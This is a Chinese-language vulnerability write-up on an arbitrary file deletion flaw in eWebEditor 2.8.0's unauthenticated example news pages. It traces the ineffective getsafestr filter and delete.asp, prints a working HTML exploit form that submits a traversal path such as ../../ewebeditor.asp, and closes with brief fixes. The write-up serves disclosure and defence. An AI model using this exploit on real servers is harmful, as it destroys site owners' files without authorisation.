当前位置: 移动技术网 > 网络运营>安全>漏洞 > Ewebeditor2.8.0最终版删除任意文件漏洞分析与解决方法

Ewebeditor2.8.0最终版删除任意文件漏洞分析与解决方法

2019年05月25日  | 移动技术网网络运营  | 我要评论
此漏洞存在于example\newssystem目录下的delete.asp文件中,这是ewebeditor的测试页面,无须登陆可以直接进入,看这些代码:
' 把带"|"的字符串转为数组
dim asavepathfilename
asavepathfilename = split(ssavepathfilename, "|")
' 删除新闻相关的文件,从文件夹中
dim i
for i = 0 to ubound(asavepathfilename)
' 按路径文件名删除文件
call dodelfile(asavepathfilename(i))
next
而asavepathfilename是前面从数据库取出来的:
ssavepathfilename = ors("d_savepathfilename")
看看d_savepathfilename是怎么添加到数据库里的,在addsave.asp(modifysave.asp)里:
ssavepathfilename = getsafestr(request.form("d_savepathfilename"))
...
ors("d_savepathfilename") = ssavepathfilename
居然过滤了,是getsafestr函数,再看看这个函数,在startup.asp里:
function getsafestr(str)
getsafestr = replace(replace(replace(trim(str), "'", ""), chr(34), ""), ";", "")
end function
无 语,这不是过滤字符型注入的函数么?放这里什么用也没有啊!既然路径没有过滤,那就可以直接定义了,构造一个提交页面,其中 d_savepathfilename自己任意赋值(要删除多个文件,用|隔开即可)。试试../../ewebeditor.asp,提交后删除该新 闻,于是主目录下的ewebeditor.asp不见了!
下面给出利用的htm:
<html><head><title>ewebeditor删除文件 </title>
<style>body,p,td,input {font-size:9pt}</style>
</head><body><a href='list.asp'>新闻列表</a> | <a href='add.asp'>增加新闻</a>
<b>增加新闻</b>
<form action="http://127.0.0.1/editor/example/newssystem/addsave.asp"
method="post" name="myform">
<input type=hidden name=d_originalfilename>
<input type=hidden name=d_savefilename>
<table cellspacing=3 align=center>
<tr><td>要删的文件(相对路径就可以了):</td>
<td><input type="text" name="d_savepathfilename" value="" size="90"></td>
</tr>
<tr><td>新闻标题(随便填):</td>
<td><input type="text" name="d_title" value="" size="90"></td>
</tr>
<tr><td>标题图片:</td>
<td><select name="d_picture" size=1><option value=''>无</option></select>
当编辑区有插入图片时,将自动填充此下拉框</td>
</tr>
<tr><td>新闻内容(随便填):</td>
<td><textarea name="d_content"></textarea></td>
</tr>
</table>
<input type=submit name=btnsubmit value=" 提 交 ">
<input type=reset name=btnreset value=" 重 填 ">
</form>
</body></html>
删除文件漏洞一般是配合其他漏洞使用的,比如目录遍历!

解决方法:删除测试文件目录,把默认的登录密码修改,或直接删除管理页面,因为,我们配置好,很少再改动的,最好把一些后台文件压缩后,删除。

如对本文有疑问, 点击进行留言回复!!

相关文章:

验证码:
移动技术网